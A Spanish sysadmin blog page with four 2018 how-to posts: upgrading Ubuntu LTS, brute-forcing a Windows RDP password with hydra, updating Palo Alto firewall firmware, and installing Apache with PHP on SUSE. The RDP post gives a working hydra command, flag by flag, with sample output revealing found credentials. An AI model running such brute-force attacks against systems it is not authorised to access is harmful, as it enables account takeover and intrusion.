miércoles, 27 de junio de 2018

Actualizar Ubuntu LTS a la última versión LTS



Cómo actualizar el sistema operativo de un servidor que corre bajo Ubuntu 14.04 LTS (trusty) a la última versión de Ubuntu, 18.04 LTS - bionic, pasando por Ubuntu 16.04 LTS (xenial).



El otro día me encontré con que debía actualizar un componente instalado en un sistema operativo Linux Ubuntu 14.04 LTS y no había backports de dicho componente para esa versión de Ubuntu.Tras reflexionar sobre cuál era la mejor opción para arreglar el problema, me decidí por actualizar Ubuntu al completo hacia la siguiente versión LTS para tener acceso a versiones superiores del componente. Y ya de paso, decidí actualizar hasta la versión más reciente de Ubuntu LTS, para estar completamente al día.

Si bien Ubuntu 14.04 LTS gozará de soporte por parte de Canonical hasta abril de 2019, ahora es un buen momento para empezar a actualizar máquinas de pre-producción que corran bajo ese sistema operativo para anticiparnos a un ciclo largo de adaptación de aplicaciones, testeo de código, etc.

Al actualizar una versión LTS de Ubuntu hay que tener en cuenta que hay que subir de versión en versión; es decir, no podemos subir los sistemas que tengamos con la versión 14.04 LTS a la versión 18.04 LTS directamente. Debemos subir primero de la 14.04 LTS a la 16.04 LTS y luego de la 16.04 LTS a la 18.04 LTS. A esto, añadir que es importante estar al tanto del ciclo de vida de cada versión.

Lo primero que hice con el sistema antes de subirlo de versión fue actualizarlo:

HOST:~$ sudo apt update && sudo apt upgrade

Reinicié la máquina, me volví a conectar por SSH y me encontré entonces con el siguiente mensaje:

New release '16.04.4 LTS' available. Run 'do-release-upgrade' to upgrade to it. WARNING: Security updates for your current Hardware Enablement Stack ended on 2016-08-04: * http://wiki.ubuntu.com/1404_HWE_EOL To upgrade to a supported (or longer-supported) configuration: * Upgrade from Ubuntu 14.04 LTS to Ubuntu 16.04 LTS by running: sudo do-release-upgrade OR * Switch to the current security-supported stack by running: sudo apt-get install linux-generic-lts-xenial linux-image-generic-lts-xenial and reboot your system.

Tal como mostraba el mensaje, actualicé a la versión LTS inmediatamente superior (16.04 LTS) con:

HOST:~$ sudo do-release-upgrade

El sistema instaló nuevos paquetes, eliminó paquetes obsoletos y al finalizar, quedó instalado Ubuntu 16.04 LTS. Probé las aplicaciones que corren en ese servidor y todo parecía OK.

No contento con esto, decidí actualizar a la última versión LTS de Ubuntu - en el momento de escribir este artículo acababa de lanzarse la 18.04 LTS - así que volví a usar do-release-upgrade, pero el sistema me decía una y otra vez your system is up to date. Esto se debe a que la versión 18 de Ubuntu es muy reciente en estos momentos y aún no se considera lo suficientemente consolidada como para migrar a ella. Como yo soy así de terco, decidí sí o sí que iba a migrar el sistema a esta versión.

Buscando algo de información vi que el comando 'do-release-upgrade' puede usarse con la opción '-d' o '--devel-release', la cual permite actualizar a la última versión en desarrollo. Ejecuté pues el comando:

HOST:~$ sudo do-release-upgrade -d

El sistema empezó a actualizarse, instaló todos los paquetes, lo reinicié y ¡voilà! Ubuntu 18.04 LTS:

HOST:~$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04 LTS Release: 18.04 Codename: bionic


Conclusión



En servidores, es aconsejable usar las versiones LTS (Long Term Support) de Ubuntu frente a las versiones regulares de este sistema operativo, pues estas suelen ser más estables y su ciclo de vida es superior (Canonical se compormete a ofrecer 5 años de actualizaciones para estos sistemas).

Del mismo modo, debemos intentar estar al día en cuanto a la versión LTS que corra en los servidores, para asegurarnos así de recibir todas las actualizaciones de drivers y no sólo parches de software.
0

miércoles, 20 de junio de 2018

Averiguar password de un RDP por fuerza bruta



Cómo realizar un ataque de fuerza bruta desde Linux contra un servidor Windows con RDP (Remote Desktop Protocol / escritorio remoto) activo para averiguar el password de un usuario.



Hoy he tenido que conectarme a una máquina Windows por escritorio remoto para reiniciar un servicio web de un IIS. Al conectarme por escritorio remoto a esa máquina, me he encontrado con que los passwords típicos usados en máquinas similares no funcionaban en esta (en un primer intento).

Para no perder tiempo usando un usuario, probando passwords, cambiando a otro usuario, probando los mismos passwords, cambiando a otro usuario, y así, he decidido probar a realizar un ataque por fuerza bruta hacia ese servidor mediante el programa hydra para averiguar el password correcto de forma automatizada. Para ello, he instalado hydra en un Linux y lo he ejecutado así:

HOST# hydra -t 1 -V -f -L usuarios.txt -P passwords.txt rdp://192.168.1.1

-t 1 – número de tareas en paralelo. Por defecto 16.
-V – verbose, muestra usuario y contraseña usados en cada intento.
-f – finalizar proceso al encontrar el primer usuario y password válidos.
-L usuarios.txt – archivo que contiene los nombres de usuario a probar. Un nombre por línea.
-P passwords.txt – archivo que contiene los passwords a probar. Un password por línea.
rdp:// - le decimos que vamos a atacar un RDP.
192.168.1.1 – IP del objetivo.

NOTA: para usar otro puerto que no sea el puerto por defecto de RDP (3389), podemos usar la opción -s y especificar a continuación el número de puerto donde se ejecuta RDP en el objetivo.

Una vez lanzado, toca esperar a que el programa haga su faena...

HOST# hydra -t 1 -V -f -L usuarios.txt -P passwords.txt rdp://192.168.1.1 Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2018-06-20 13:22:43 [DATA] max 1 task per 1 server, overall 64 tasks, 3 login tries (l:1/p:3), ~0 tries per task [DATA] attacking service rdp on port 3389 [ATTEMPT] target 192.168.1.1 - login "administrador" - pass "passw1" - 1 of 6 [child 0] (0/0) [ATTEMPT] target 192.168.1.1 - login "administrador" - pass "passw2" - 2 of 6 [child 0] (0/0) [ATTEMPT] target 192.168.1.1 - login "administrador" - pass "passw3" - 3 of 6 [child 0] (0/0) [ATTEMPT] target 192.168.1.1 - login "administrator" - pass "passw1" - 4 of 6 [child 0] (0/0) [ATTEMPT] target 192.168.1.1 - login "administrator" - pass "passw2" - 5 of 6 [child 0] (0/0) [3389][rdp] host: 192.168.1.1  login: administrator   password: passw3 [STATUS] attack finished for 192.168.1.1 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2018-06-20 13:22:50

Como vemos, el programa ha probado primero con el usuario "administrador" y todos los password del archivo passwords.txt. Luego ha pasado al usuario "administrator" (en inglés) y ha dado finalmente con el usuario y contraseña correctos en unos pocos segundos.


Conclusión



Para que este procedimiento funcione, debemos tener una lista de usuarios válidos y una lista de posibles passwords válidos. Si la lista de passwords no contiene el password correcto o los usuarios con que probamos no existen en el sistema objetivo, obviamente nunca encontraremos las credenciales correctas usando este método. De otro modo, es una forma efectiva de ahorrarnos teclear en vano.

0

miércoles, 13 de junio de 2018

Actualizar firmware de un firewall Palo Alto (web)



Cómo actualizar el firmware de un cortafuegos / firewall de la marca Palo Alto (modelos PA 500, PA 3000, PA 5000, PA 7000, etc.) paso a paso desde la interfaz gráfica vía web.



El elemento de seguridad más importante en una empresa es, sin duda, el firewall perimetral, el cual filtra los accesos externos a los elementos internos de la red corporativa. Es sumamente importante ir actualizando su firmware para ir arreglando los bugs y aplicando los fixes que el fabricante vaya lanzando, para mantener así un nivel óptimo de seguridad en el entorno empresarial.

En el caso de los firewalls de la marca Palo Alto, para actualizar el firmware de un firewall, podemos:

- Actualizar el firmware vía terminal por SSH
- Actualizar el firmware vía interfaz gráfica por http

En este artículo voy a mostrar cómo actualizar el firmware vía interfaz gráfica. Para ello, accedemos al firewall con un navegador web, nos logeamos como administrador, nos dirigimos a la pestaña Device, y una vez allí clicamos en el apartado Software, donde veremos algo similar a esta captura:



Tal y como vemos en la imagen, la versión de firmware instalada actualmente en el firewall de ejemplo es la 6.1.1 y la versión más reciente de la rama 6 de firmware es la 6.1.20. Al momento de escribir estas líneas, hay 3 ramas de firmware (6, 7 y 8) que se actualizan paralelamente. Uno debe valorar cuál de esas ramas necesita y mantenerse en ella, o bien valorar si le sería factible subir a la rama superior.

Antes de actualizar el firmware, lo primero que debemos hacer es leernos las Notas de la versión, es decir, la lista de cambios que trae consigo el nuevo firmware respecto a versiones anteriores.



Ejemplo de documento pdf de notas de la versión de una versión de firmware de un firewall Palo Alto.

Una vez leídos los problemas y cambios y valorado el riesgo de actualizar, es hora de descargar el paquete de firmware. Para ello, clicaremos la palabra Descargar de la fila correspondiente a la versión de software que queremos instalar, lo cual descargará un archivo con ese firmware al dispositivo.



Una vez descargado el firmware, veremos que hay un tick en la columna Descargado de la versión de firmware que hemos elegido y que la palabra Descargar ha cambiado por Instalar.



NOTA: si disponemos de dos firewalls en HA, es recomendable desactivar el enlace entre ambos antes de proceder. Así, si se presentan problemas y no podemos solucionarlos rápidamente, siempre podemos volver a una versión no tocada del firewall con rapidez.

Para desplegar el firmware, clicamos instalar y esperamos a que finalice la instalación.



Una vez finalizada la instalación, reiniciamos el dispositivo, accedemos como administrador y ya veremos que la versión de firmware instalada es la que acabamos de desplegar:

1

jueves, 7 de junio de 2018

Montar un servidor web Apache sobre SUSE Linux



Cómo instalar y configurar el servidor HTTP open source Apache sobre un sistema operativo Linux openSUSE o SUSE Linux Enterprise Server para servir páginas web programadas en HTML y PHP.

El servidor web por excelencia es Apache, un software open source mantenido por la comunidad que lleva años teniendo una cuota de mercado del 50% a nivel mundial. En el siguiente manual veremos cómo instalar un servidor web Apache sobre un sistema operativo SUSE Linux Enterprise Server (procedimiento aplicable también a openSUSE).

Además de Apache, un servidor web suele requerir PHP, pues la mayoría de aplicaciones web de hoy día están programadas en este lenguaje o usan frameworks que corren sobre este lenguaje de programación. También veremos cómo instalarlo.


Instalar Apache



El primer paso, tras desplegar un sistema operativo SUSE con repositorios activos, es instalar Apache.
Es posible realizar la instalación de Apache tanto desde entorno gráfico (mediante YasT) como por terminal. Yo mostraré cómo hacerlo todo desde terminal.

Instalamos Apache:

HOST# zypper install apache2

Una vez instalado Apache, toca arrancarlo:

HOST# systemctl start apache2

En este punto, es interesante configurar el servicio de Apache para que se inicie automáticamente cada vez que se inicie el sistema (por ejemplo, después de un reinicio). Para ello:

HOST# systemctl enable apache2


Configurar Firewall



Con Apache arrancado, si probamos a acceder a la IP del servidor web usando un navegador, nos encontraremos con un error de conexión, algo similar a lo que veríamos si tratamos de acceder a una página web que no existe. Esto sucede al usar SLES ya que el firewall que trae instalado (SUSEfirewall2) bloquea por defecto todas las conexiones entrantes a la máquina (a menos que deshabilitaramos el firewall durante la instalación del SLES).

Para permitir el acceso a páginas ubicadas en este servidor, deberemos configurar el firewall de SLES:

HOST# vi /etc/sysconfig/SuSEfirewall2

Buscamos la línea:

FW_CONFIGURATION_EXT=""

Le añadimos "apache2":

FW_CONFIGURATION_EXT="apache2"

Después de guardar los cambios, debemos reiniciar el firewall para que apliquen:

HOST# systemctl restart SuSEfirewall2

Hay que decir que si el servidor va a estar expuesto a internet detrás de un firewall perimetral y a su vez va a estar protegido en una red local tras un firewall interno, podemos simplemente desactivar SUSEfirewall2 para evitar tener que trastear con él.

Para desactivar SUSEfirewall2:

HOST# SuSEfirewall2 off

Ahora, tanto si hemos desactivado el firewall como si hemos añadido Apache a sus políticas, ya deberíamos poder ver cualquier página html que coloquemos en el "DocumentRoot" o directorio raíz de Apache. En SLES, este directorio es /srv/www/htdocs.


Habilitar soporte para PHP en Apache



Una vez instalado y probado Apache, el siguiente paso es instalar PHP. PHP 5 está ya muy anticuado, así que sólo mostraré como instalar PHP 7. Los módulos de PHP 7 que nos interesan son el princial (php7) y "php7-mysql" y "apache2-mod_php7". Muchas aplicaciones dependen de otros módulos, así que yo recomiendo instalar todos los módulos existentes de PHP 7 para evitar, en un futuro, tener que ir depurando errores de PHP hasta dar con el módulo que falta para que un código determinado funcione.

Para instalar todos los módulos disponibles de PHP 7 de golpe usaremos un wildcard (*):

HOST# zypper in php7*

Habilitamos PHP 7 para que lo use Apache:

HOST# a2enmod php7

Reiniciamos Apache para que el servidor pueda empezar a servir páginas .php:

HOST# systemctl restart apache2

Por eficiencia y escalabilidad es recomendable instalar las bases de datos MySQL/MariaDB en servidores separados de las máquinas donde tengamos instalado Apache. En otra ocasión, mostraré cómo instalar una base de datos MariaDB sobre otro servidor y cómo configurarla para poder conectar con ella desde un servidor web como el que acabamos de montar.
2